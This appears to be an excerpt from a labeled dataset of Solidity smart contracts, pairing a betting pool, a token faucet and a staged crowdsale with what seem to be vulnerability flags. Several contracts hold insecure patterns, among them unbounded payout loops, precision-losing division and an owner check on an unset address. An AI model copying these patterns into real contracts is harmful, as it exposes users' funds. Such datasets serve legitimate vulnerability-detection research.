bool public payoutCompleted;
bool public stage2NotReached = true;
struct Bettor {
uint[NUM_TEAMS] amountsBet;
uint[NUM_TEAMS] amountsBetStage1;
uint[NUM_TEAMS] amountsBetStage2;
}
mapping(address => Bettor) bettorInfo;
address[] bettors;
uint[NUM_TEAMS] public totalAmountsBet;
uint[NUM_TEAMS] public totalAmountsBetStage1;
uint[NUM_TEAMS] public totalAmountsBetStage2;
uint public numberOfBets;
uint public totalBetAmount;
uint public contractPrice = 0.05 ether;
uint private firstStepLimit = 0.1 ether;
uint private secondStepLimit = 0.5 ether;
event BetMade();
event ContractPurchased();
modifier canPerformPayout() {
if (winningTeam != TeamType.None && !payoutCompleted && now > BETTING_CLOSES) _;
}
modifier bettingIsClosed() {
if (now > BETTING_CLOSES) _;
}
modifier onlyCreatorLevel() {
require(
creator == msg.sender
);
_;
}
function nbagame() public {
owner = msg.sender;
pingOracle(PAYOUT_DATE - now);
}
function triggerRelease() public onlyCreatorLevel {
require(now > BET_RELEASE_DATE);
releaseBets();
}
function _addressNotNull(address _adr) private pure returns (bool) {
return _adr != address(0);
}
function pingOracle(uint pingDelay) private {
oraclize_query(pingDelay, "WolframAlpha", "Warriors vs Wizards February 28, 2018 Winner");
}
function __callback(bytes32 queryId, string result, bytes proof) public {
require(payoutCompleted == false);
require(msg.sender == oraclize_cbAddress());
if (keccak256(TEAM_NAMES[0]) == keccak256(result)) {
winningTeam = TeamType(0);
}
else if (keccak256(TEAM_NAMES[1]) == keccak256(result)) {
winningTeam = TeamType(1);
}
if (winningTeam == TeamType.None) {
if (now >= BET_RELEASE_DATE)
return releaseBets();
return pingOracle(PAYOUT_ATTEMPT_INTERVAL);
}
performPayout();
}
function getUserBets() public constant returns(uint[NUM_TEAMS]) {
return bettorInfo[msg.sender].amountsBet;
}
function releaseBets() private {
uint storedBalance = this.balance;
for (uint k = 0; k < bettors.length; k++) {
uint totalBet = SafeMath.add(bettorInfo[bettors[k]].amountsBet[0], bettorInfo[bettors[k]].amountsBet[1]);
bettors[k].transfer(SafeMath.mul(totalBet, SafeMath.div(storedBalance, totalBetAmount)));
}
}
function canBet() public constant returns(bool) {
return (now >= BETTING_OPENS && now < BETTING_CLOSES);
}
function triggerPayout() public onlyCreatorLevel {
pingOracle(5);
}
function bet(uint teamIdx) public payable {
require(canBet() == true);
require(TeamType(teamIdx) == TeamType.GSWarriors || TeamType(teamIdx) == TeamType.WWizards);
require(msg.value >= MINIMUM_BET);
if (bettorInfo[msg.sender].amountsBet[0] == 0 && bettorInfo[msg.sender].amountsBet[1] == 0)
bettors.push(msg.sender);
if (totalAmountsBet[teamIdx] >= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += msg.value;
totalAmountsBetStage2[teamIdx] += msg.value;
}
if (totalAmountsBet[teamIdx] < STAGE_ONE_BET_LIMIT) {
if (SafeMath.add(totalAmountsBet[teamIdx], msg.value) <= STAGE_ONE_BET_LIMIT) {
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += msg.value;
totalAmountsBetStage1[teamIdx] += msg.value;
} else {
uint amountLeft = SafeMath.sub(STAGE_ONE_BET_LIMIT, totalAmountsBet[teamIdx]);
uint amountExcess = SafeMath.sub(msg.value, amountLeft);
bettorInfo[msg.sender].amountsBetStage1[teamIdx] += amountLeft;
bettorInfo[msg.sender].amountsBetStage2[teamIdx] += amountExcess;
totalAmountsBetStage1[teamIdx] = STAGE_ONE_BET_LIMIT;
totalAmountsBetStage2[teamIdx] += amountExcess;
}
}
bettorInfo[msg.sender].amountsBet[teamIdx] += msg.value;
numberOfBets++;
totalBetAmount += msg.value;
totalAmountsBet[teamIdx] += msg.value;
BetMade();
}
function performPayout() private canPerformPayout {
uint losingChunk = SafeMath.sub(this.balance, totalAmountsBet[uint(winningTeam)]);
uint currentOwnerPayoutCommission = uint256(SafeMath.div(SafeMath.mul(OWNER_POOL_COMMISSION, losingChunk), 100));
uint eachStageCommission = uint256(SafeMath.div(SafeMath.mul(1, losingChunk), 100));
for (uint k = 0; k < bettors.length; k++) {
uint betOnWinner = bettorInfo[bettors[k]].amountsBet[uint(winningTeam)];
uint payout = betOnWinner + ((betOnWinner * (losingChunk - currentOwnerPayoutCommission - (4 * eachStageCommission))) / totalAmountsBet[uint(winningTeam)]);
if (totalAmountsBetStage1[0] > 0) {
uint stageOneCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage1[0] * eachStageCommission) / totalAmountsBetStage1[0]);
payout += stageOneCommissionPayoutTeam0;
}
if (totalAmountsBetStage1[1] > 0) {
uint stageOneCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage1[1] * eachStageCommission) / totalAmountsBetStage1[1]);
payout += stageOneCommissionPayoutTeam1;
}
if (totalAmountsBetStage2[0] > 0) {
uint stageTwoCommissionPayoutTeam0 = ((bettorInfo[bettors[k]].amountsBetStage2[0] * eachStageCommission) / totalAmountsBetStage2[0]);
payout += stageTwoCommissionPayoutTeam0;
}
if (totalAmountsBetStage2[1] > 0) {
uint stageTwoCommissionPayoutTeam1 = ((bettorInfo[bettors[k]].amountsBetStage2[1] * eachStageCommission) / totalAmountsBetStage2[1]);
payout += stageTwoCommissionPayoutTeam1;
}
if (payout > 0)
bettors[k].transfer(payout);
}
currentOwner.transfer(currentOwnerPayoutCommission);
if (this.balance > 0) {
creator.transfer(this.balance);
stage2NotReached = true;
} else {
stage2NotReached = false;
}
payoutCompleted = true;
}
function buyContract() public payable {
address oldOwner = currentOwner;
address newOwner = msg.sender;
require(newOwner != oldOwner);
require(_addressNotNull(newOwner));
require(msg.value >= contractPrice);
require(now < BETTING_CLOSES);
uint payment = uint(SafeMath.div(SafeMath.mul(contractPrice, 94), 100));
uint purchaseExcess = uint(SafeMath.sub(msg.value, contractPrice));
uint creatorCommissionValue = uint(SafeMath.sub(contractPrice, payment));
if (contractPrice < firstStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 132), 94);
} else if (contractPrice < secondStepLimit) {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 122), 94);
} else {
contractPrice = SafeMath.div(SafeMath.mul(contractPrice, 113), 94);
}
currentOwner = newOwner;
oldOwner.transfer(payment);
creator.transfer(creatorCommissionValue);
ContractPurchased();
msg.sender.transfer(purchaseExcess);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,513 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external;
}
contract Gamblr is Ownable {
using SafeMath for uint256;
string public name = "Gamblr";
uint8 public decimals = 3;
string public symbol = "GMBL";
uint public totalSupply = 10000000000;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
function Gamblr() public {
balances[msg.sender] = 3000000000;
balances[this] = 7000000000;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] -= _amount;
doTransfer(_from, _to, _amount);
return true;
}
function doTransfer(address _from, address _to, uint _amount) internal {
require((_to != 0) && (_to != address(this)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public onlyOwner {
require(balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function totalSupply() public constant returns (uint) {
return totalSupply;
}
event Transfer(
address indexed _from,
address indexed _to,
uint256 _amount
);
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _amount
);
event Burn(
address indexed _burner,
uint256 _amount
);
mapping(address => bool) public joined;
function receiveTokens() public returns(bool){
require(balanceOf(this) > 0);
require(!joined[msg.sender]);
if (balanceOf(this) > 1000000) {
doTransfer(this, msg.sender, 1000000);
joined[msg.sender] = true;
return joined[msg.sender];
}
doTransfer(this, msg.sender, balanceOf(this));
joined[msg.sender] = true;
return joined[msg.sender];
}
} | 1 | 2,567 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
address public controller;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyController() {
require(msg.sender == controller);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setControler(address _controller) public onlyOwner {
controller = _controller;
}
}
contract OwnableToken {
address public owner;
address public minter;
address public burner;
address public controller;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function OwnableToken() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyMinter() {
require(msg.sender == minter);
_;
}
modifier onlyBurner() {
require(msg.sender == burner);
_;
}
modifier onlyController() {
require(msg.sender == controller);
_;
}
modifier onlyPayloadSize(uint256 numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function setMinter(address _minterAddress) public onlyOwner {
minter = _minterAddress;
}
function setBurner(address _burnerAddress) public onlyOwner {
burner = _burnerAddress;
}
function setControler(address _controller) public onlyOwner {
controller = _controller;
}
}
contract KYCControl is OwnableToken {
event KYCApproved(address _user, bool isApproved);
mapping(address => bool) public KYCParticipants;
function isKYCApproved(address _who) view public returns (bool _isAprroved){
return KYCParticipants[_who];
}
function approveKYC(address _userAddress) onlyController public {
KYCParticipants[_userAddress] = true;
emit KYCApproved(_userAddress, true);
}
}
contract VernamCrowdSaleToken is OwnableToken, KYCControl {
using SafeMath for uint256;
event Transfer(address indexed from, address indexed to, uint256 value);
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
uint256 constant POW = 10 ** 18;
uint256 _circulatingSupply;
mapping (address => uint256) public balances;
event Burn(address indexed from, uint256 value);
event Mint(address indexed _participant, uint256 value);
function VernamCrowdSaleToken() public {
name = "Vernam Crowdsale Token";
symbol = "VCT";
decimals = 18;
_totalSupply = SafeMath.mul(1000000000, POW);
_circulatingSupply = 0;
}
function mintToken(address _participant, uint256 _mintedAmount) public onlyMinter returns (bool _success) {
require(_mintedAmount > 0);
require(_circulatingSupply.add(_mintedAmount) <= _totalSupply);
KYCParticipants[_participant] = false;
balances[_participant] = balances[_participant].add(_mintedAmount);
_circulatingSupply = _circulatingSupply.add(_mintedAmount);
emit Transfer(0, this, _mintedAmount);
emit Transfer(this, _participant, _mintedAmount);
emit Mint(_participant, _mintedAmount);
return true;
}
function burn(address _participant, uint256 _value) public onlyBurner returns (bool _success) {
require(_value > 0);
require(balances[_participant] >= _value);
require(isKYCApproved(_participant) == true);
balances[_participant] = balances[_participant].sub(_value);
_circulatingSupply = _circulatingSupply.sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Transfer(_participant, 0, _value);
emit Burn(_participant, _value);
return true;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function circulatingSupply() public view returns (uint256) {
return _circulatingSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract VernamCrowdSale is Ownable {
using SafeMath for uint256;
uint constant TEN_ETHERS = 10 ether;
uint constant minimumContribution = 100 finney;
uint constant maximumContribution = 500 ether;
uint constant FIRST_MONTH = 0;
uint constant SECOND_MONTH = 1;
uint constant THIRD_MONTH = 2;
uint constant FORTH_MONTH = 3;
uint constant FIFTH_MONTH = 4;
uint constant SIXTH_MONTH = 5;
address public benecifiary;
bool public isInCrowdsale;
uint public startTime;
uint public totalSoldTokens;
uint public totalContributedWei;
uint constant public threeHotHoursDuration = 3 hours;
uint constant public threeHotHoursPriceOfTokenInWei = 63751115644524 wei;
uint public threeHotHoursTokensCap;
uint public threeHotHoursCapInWei;
uint public threeHotHoursEnd;
uint public firstStageDuration = 8 days;
uint public firstStagePriceOfTokenInWei = 85005100306018 wei;
uint public firstStageEnd;
uint constant public secondStageDuration = 12 days;
uint constant public secondStagePriceOfTokenInWei = 90000900009000 wei;
uint public secondStageEnd;
uint constant public thirdStageDuration = 41 days;
uint constant public thirdStagePriceOfTokenInWei = 106258633513973 wei;
uint constant public thirdStageDiscountPriceOfTokenInWei = 95002850085503 wei;
uint public thirdStageEnd;
uint constant public TOKENS_HARD_CAP = 500000000000000000000000000;
uint constant POW = 10 ** 18;
uint constant public LOCK_TOKENS_DURATION = 30 days;
uint public firstMonthEnd;
uint public secondMonthEnd;
uint public thirdMonthEnd;
uint public fourthMonthEnd;
uint public fifthMonthEnd;
mapping(address => uint) public contributedInWei;
mapping(address => uint) public threeHotHoursTokens;
mapping(address => mapping(uint => uint)) public getTokensBalance;
mapping(address => mapping(uint => bool)) public isTokensTaken;
mapping(address => bool) public isCalculated;
VernamCrowdSaleToken public vernamCrowdsaleToken;
modifier afterCrowdsale() {
require(block.timestamp > thirdStageEnd);
_;
}
modifier isAfterThreeHotHours {
require(block.timestamp > threeHotHoursEnd);
_;
}
event CrowdsaleActivated(uint startTime, uint endTime);
event TokensBought(address participant, uint weiAmount, uint tokensAmount);
event ReleasedTokens(uint _amount);
event TokensClaimed(address _participant, uint tokensToGetFromWhiteList);
constructor(address _benecifiary, address _vernamCrowdSaleTokenAddress) public {
benecifiary = _benecifiary;
vernamCrowdsaleToken = VernamCrowdSaleToken(_vernamCrowdSaleTokenAddress);
isInCrowdsale = false;
}
function activateCrowdSale() public onlyOwner {
setTimeForCrowdsalePeriods();
threeHotHoursTokensCap = 100000000000000000000000000;
threeHotHoursCapInWei = threeHotHoursPriceOfTokenInWei.mul((threeHotHoursTokensCap).div(POW));
timeLock();
isInCrowdsale = true;
emit CrowdsaleActivated(startTime, thirdStageEnd);
}
function() public payable {
buyTokens(msg.sender,msg.value);
}
function buyTokens(address _participant, uint _weiAmount) public payable returns(bool success) {
require(isInCrowdsale == true);
require(_weiAmount >= minimumContribution);
require(_weiAmount <= maximumContribution);
validatePurchase(_participant, _weiAmount);
uint currentLevelTokens;
uint nextLevelTokens;
(currentLevelTokens, nextLevelTokens) = calculateAndCreateTokens(_weiAmount);
uint tokensAmount = currentLevelTokens.add(nextLevelTokens);
if(totalSoldTokens.add(tokensAmount) > TOKENS_HARD_CAP) {
isInCrowdsale = false;
return;
}
benecifiary.transfer(_weiAmount);
contributedInWei[_participant] = contributedInWei[_participant].add(_weiAmount);
if(threeHotHoursEnd > block.timestamp) {
threeHotHoursTokens[_participant] = threeHotHoursTokens[_participant].add(currentLevelTokens);
isCalculated[_participant] = false;
if(nextLevelTokens > 0) {
vernamCrowdsaleToken.mintToken(_participant, nextLevelTokens);
}
} else {
vernamCrowdsaleToken.mintToken(_participant, tokensAmount);
}
totalSoldTokens = totalSoldTokens.add(tokensAmount);
totalContributedWei = totalContributedWei.add(_weiAmount);
emit TokensBought(_participant, _weiAmount, tokensAmount);
return true;
}
function calculateAndCreateTokens(uint weiAmount) internal view returns (uint _currentLevelTokensAmount, uint _nextLevelTokensAmount) {
if(block.timestamp < threeHotHoursEnd && totalSoldTokens < threeHotHoursTokensCap) {
(_currentLevelTokensAmount, _nextLevelTokensAmount) = tokensCalculator(weiAmount, threeHotHoursPriceOfTokenInWei, firstStagePriceOfTokenInWei, threeHotHoursCapInWei);
return (_currentLevelTokensAmount, _nextLevelTokensAmount);
}
if(block.timestamp < firstStageEnd) {
_currentLevelTokensAmount = weiAmount.div(firstStagePriceOfTokenInWei);
_currentLevelTokensAmount = _currentLevelTokensAmount.mul(POW);
return (_currentLevelTokensAmount, 0);
}
if(block.timestamp < secondStageEnd) {
_currentLevelTokensAmount = weiAmount.div(secondStagePriceOfTokenInWei);
_currentLevelTokensAmount = _currentLevelTokensAmount.mul(POW);
return (_currentLevelTokensAmount, 0);
}
if(block.timestamp < thirdStageEnd && weiAmount >= TEN_ETHERS) {
_currentLevelTokensAmount = weiAmount.div(thirdStageDiscountPriceOfTokenInWei);
_currentLevelTokensAmount = _currentLevelTokensAmount.mul(POW);
return (_currentLevelTokensAmount, 0);
}
if(block.timestamp < thirdStageEnd){
_currentLevelTokensAmount = weiAmount.div(thirdStagePriceOfTokenInWei);
_currentLevelTokensAmount = _currentLevelTokensAmount.mul(POW);
return (_currentLevelTokensAmount, 0);
}
revert();
}
function release() public {
releaseThreeHotHourTokens(msg.sender);
}
function releaseThreeHotHourTokens(address _participant) public isAfterThreeHotHours returns(bool success) {
if(isCalculated[_participant] == false) {
calculateTokensForMonth(_participant);
isCalculated[_participant] = true;
}
uint _amount = unlockTokensAmount(_participant);
threeHotHoursTokens[_participant] = threeHotHoursTokens[_participant].sub(_amount);
vernamCrowdsaleToken.mintToken(_participant, _amount);
emit ReleasedTokens(_amount);
return true;
}
function getContributedAmountInWei(address _participant) public view returns (uint) {
return contributedInWei[_participant];
}
function tokensCalculator(uint weiAmount, uint currentLevelPrice, uint nextLevelPrice, uint currentLevelCap) internal view returns (uint _currentLevelTokensAmount, uint _nextLevelTokensAmount){
uint currentAmountInWei = 0;
uint remainingAmountInWei = 0;
uint currentLevelTokensAmount = 0;
uint nextLevelTokensAmount = 0;
if(weiAmount.add(totalContributedWei) > currentLevelCap) {
remainingAmountInWei = (weiAmount.add(totalContributedWei)).sub(currentLevelCap);
currentAmountInWei = weiAmount.sub(remainingAmountInWei);
currentLevelTokensAmount = currentAmountInWei.div(currentLevelPrice);
nextLevelTokensAmount = remainingAmountInWei.div(nextLevelPrice);
} else {
currentLevelTokensAmount = weiAmount.div(currentLevelPrice);
nextLevelTokensAmount = 0;
}
currentLevelTokensAmount = currentLevelTokensAmount.mul(POW);
nextLevelTokensAmount = nextLevelTokensAmount.mul(POW);
return (currentLevelTokensAmount, nextLevelTokensAmount);
}
function calculateTokensForMonth(address _participant) internal {
uint maxBalance = threeHotHoursTokens[_participant];
uint percentage = 10;
for(uint month = 0; month < 6; month++) {
if(month == 3 || month == 5) {
percentage += 10;
}
getTokensBalance[_participant][month] = maxBalance.div(percentage);
isTokensTaken[_participant][month] = false;
}
}
function unlockTokensAmount(address _participant) internal returns (uint _tokensAmount) {
require(threeHotHoursTokens[_participant] > 0);
if(block.timestamp < firstMonthEnd && isTokensTaken[_participant][FIRST_MONTH] == false) {
return getTokens(_participant, FIRST_MONTH.add(1));
}
if(((block.timestamp >= firstMonthEnd) && (block.timestamp < secondMonthEnd))
&& isTokensTaken[_participant][SECOND_MONTH] == false) {
return getTokens(_participant, SECOND_MONTH.add(1));
}
if(((block.timestamp >= secondMonthEnd) && (block.timestamp < thirdMonthEnd))
&& isTokensTaken[_participant][THIRD_MONTH] == false) {
return getTokens(_participant, THIRD_MONTH.add(1));
}
if(((block.timestamp >= thirdMonthEnd) && (block.timestamp < fourthMonthEnd))
&& isTokensTaken[_participant][FORTH_MONTH] == false) {
return getTokens(_participant, FORTH_MONTH.add(1));
}
if(((block.timestamp >= fourthMonthEnd) && (block.timestamp < fifthMonthEnd))
&& isTokensTaken[_participant][FIFTH_MONTH] == false) {
return getTokens(_participant, FIFTH_MONTH.add(1));
}
if((block.timestamp >= fifthMonthEnd)
&& isTokensTaken[_participant][SIXTH_MONTH] == false) {
return getTokens(_participant, SIXTH_MONTH.add(1));
}
}
function getTokens(address _participant, uint _period) internal returns(uint tokensAmount) {
uint tokens = 0;
for(uint month = 0; month < _period; month++) {
if(isTokensTaken[_participant][month] == false) {
isTokensTaken[_participant][month] = true;
tokens += getTokensBalance[_participant][month];
getTokensBalance[_participant][month] = 0;
}
}
return tokens;
}
function validatePurchase(address _participant, uint _weiAmount) pure internal {
require(_participant != address(0));
require(_weiAmount != 0);
}
function setTimeForCrowdsalePeriods() internal {
startTime = block.timestamp;
threeHotHoursEnd = startTime.add(threeHotHoursDuration);
firstStageEnd = threeHotHoursEnd.add(firstStageDuration);
secondStageEnd = firstStageEnd.add(secondStageDuration);
thirdStageEnd = secondStageEnd.add(thirdStageDuration);
}
function timeLock() internal {
firstMonthEnd = (startTime.add(LOCK_TOKENS_DURATION)).add(threeHotHoursDuration);
secondMonthEnd = firstMonthEnd.add(LOCK_TOKENS_DURATION);
thirdMonthEnd = secondMonthEnd.add(LOCK_TOKENS_DURATION);
fourthMonthEnd = thirdMonthEnd.add(LOCK_TOKENS_DURATION);
fifthMonthEnd = fourthMonthEnd.add(LOCK_TOKENS_DURATION);
}
function getPrice(uint256 time, uint256 weiAmount) public view returns (uint levelPrice) {
if(time < threeHotHoursEnd && totalSoldTokens < threeHotHoursTokensCap) {
return threeHotHoursPriceOfTokenInWei;
}
if(time < firstStageEnd) {
return firstStagePriceOfTokenInWei;
}
if(time < secondStageEnd) {
return secondStagePriceOfTokenInWei;
}
if(time < thirdStageEnd && weiAmount > TEN_ETHERS) {
return thirdStageDiscountPriceOfTokenInWei;
}
if(time < thirdStageEnd){
return thirdStagePriceOfTokenInWei;
}
}
function setBenecifiary(address _newBenecifiary) public onlyOwner {
benecifiary = _newBenecifiary;
}
}
contract OwnableController {
address public owner;
address public KYCTeam;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyKYCTeam() {
require(msg.sender == KYCTeam);
_;
}
function setKYCTeam(address _KYCTeam) public onlyOwner {
KYCTeam = _KYCTeam;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Controller is OwnableController {
VernamCrowdSale public vernamCrowdSale;
VernamCrowdSaleToken public vernamCrowdsaleToken;
VernamToken public vernamToken;
mapping(address => bool) public isParticipantApproved;
event Refunded(address _to, uint amountInWei);
event Convert(address indexed participant, uint tokens);
function Controller(address _crowdsaleAddress, address _vernamCrowdSaleToken) public {
vernamCrowdSale = VernamCrowdSale(_crowdsaleAddress);
vernamCrowdsaleToken = VernamCrowdSaleToken(_vernamCrowdSaleToken);
}
function releaseThreeHotHourTokens() public {
vernamCrowdSale.releaseThreeHotHourTokens(msg.sender);
}
function convertYourTokens() public {
convertTokens(msg.sender);
}
function convertTokens(address _participant) public {
bool isApproved = vernamCrowdsaleToken.isKYCApproved(_participant);
if(isApproved == false && isParticipantApproved[_participant] == true){
vernamCrowdsaleToken.approveKYC(_participant);
isApproved = vernamCrowdsaleToken.isKYCApproved(_participant);
}
require(isApproved == true);
uint256 tokens = vernamCrowdsaleToken.balanceOf(_participant);
require(tokens > 0);
vernamCrowdsaleToken.burn(_participant, tokens);
vernamToken.transfer(_participant, tokens);
emit Convert(_participant, tokens);
}
function approveKYC(address _participant) public onlyKYCTeam returns(bool _success) {
vernamCrowdsaleToken.approveKYC(_participant);
isParticipantApproved[_participant] = vernamCrowdsaleToken.isKYCApproved(_participant);
return isParticipantApproved[_participant];
}
function setVernamOriginalToken(address _vernamToken) public onlyOwner {
vernamToken = VernamToken(_vernamToken);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract VernamToken is ERC20 {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public _totalSupply;
modifier onlyPayloadSize(uint256 numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
function VernamToken(uint256 _totalSupply_) public {
name = "Vernam Token";
symbol = "VRN";
decimals = 18;
_totalSupply = _totalSupply_;
balances[msg.sender] = _totalSupply_;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2) public returns (bool _success) {
return _transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
return true;
}
function _transfer(address _from, address _to, uint256 _value) internal returns (bool _success) {
require (_to != address(0x0));
require(_value >= 0);
require (balances[_from] >= _value);
require (balances[_to].add(_value) > balances[_to]);
uint256 previousBalances = balances[_from].add(balances[_to]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
assert(balances[_from] + balances[_to] == previousBalances);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) onlyPayloadSize(2) public returns (bool _success) {
require(allowed[msg.sender][_spender].add(_addedValue) <= balances[msg.sender]);
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) onlyPayloadSize(2) public returns (bool _success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function approve(address _spender, uint256 _value) onlyPayloadSize(2) public returns (bool _success) {
require(_value <= balances[msg.sender]);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256 _remaining) {
return allowed[_owner][_spender];
}
} | 0 | 647 |
pragma solidity ^0.4.16;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
